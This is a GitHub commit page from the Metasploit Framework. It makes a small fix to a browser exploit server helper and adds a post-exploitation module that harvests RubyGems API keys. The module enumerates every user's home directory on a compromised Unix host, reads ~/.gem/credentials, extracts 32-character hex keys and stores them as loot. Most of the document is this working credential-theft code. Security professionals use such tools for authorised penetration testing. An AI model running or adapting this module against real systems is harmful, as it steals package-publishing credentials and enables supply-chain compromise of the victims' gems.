Skip to content

Commit ffd1257

Browse files
committed
Make sure this branch is up to date.
2 parents bb9c961 + b030327 commit ffd1257

File tree

2 files changed

+79
-1
lines changed

2 files changed

+79
-1
lines changed

lib/msf/core/exploit/remote/browser_exploit_server.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -106,7 +106,7 @@ def sync(&block)
106106
# @return [String] URI to the exploit page
107107
#
108108
def get_module_resource
109-
"#{get_resource.chomp("/")}/#{@exploit_receiver_page}/"
109+
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
110110
end
111111

112112
#
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Post
9+
10+
include Msf::Post::File
11+
include Msf::Post::Unix
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Multi Gather RubyGems API Key',
16+
'Description' => %q{
17+
This module obtains a user's RubyGems API key from ~/.gem/credentials.
18+
},
19+
'Author' => [
20+
'Jonathan Claudius <jclaudius[at]trustwave.com>',
21+
'Brandon Myers <bmyers[at]trustwave.com>'
22+
],
23+
'Platform' => %w{bsd linux osx unix},
24+
'SessionTypes' => %w{shell},
25+
'License' => MSF_LICENSE
26+
))
27+
end
28+
29+
def run
30+
print_status('Finding ~/.gem/credentials')
31+
paths = enum_user_directories.map { |d| d + '/.gem/credentials' }
32+
paths = paths.select { |f| file?(f) }
33+
34+
if paths.empty?
35+
print_error('No users found with a ~/.gem/credentials file')
36+
return
37+
end
38+
39+
download_key(paths)
40+
end
41+
42+
# Ruby gem credentials are pretty standard and can come
43+
# in a few flavors, but the most common are straight yaml
44+
# and json, both of which are colon delimited. I suppose
45+
# you could concievably have more than one, but that'd be
46+
# manually editing, and the first one is probably the best
47+
# one anyway.
48+
def extract_key(path)
49+
data = read_file(path)
50+
keys = data.split(':').select { |k| k =~ /[0-9a-f]{32}/ }
51+
keys.map { |k| k.strip }.first
52+
end
53+
54+
def download_key(paths)
55+
print_status("Looting #{paths.count} files")
56+
paths.each do |path|
57+
path.chomp!
58+
next if ['.', '..'].include?(path)
59+
60+
rubygems_api_key = extract_key(path)
61+
next unless rubygems_api_key
62+
63+
print_good("Found a RubyGems API key: #{rubygems_api_key}")
64+
65+
loot_path = store_loot(
66+
'rubygems.apikey',
67+
'text/plain',
68+
session,
69+
rubygems_api_key,
70+
'rubygems_api_key.txt',
71+
'RubyGems API key'
72+
)
73+
74+
print_good("RubyGems API key stored in #{loot_path}")
75+
end
76+
end
77+
78+
end

0 commit comments

Comments
 (0)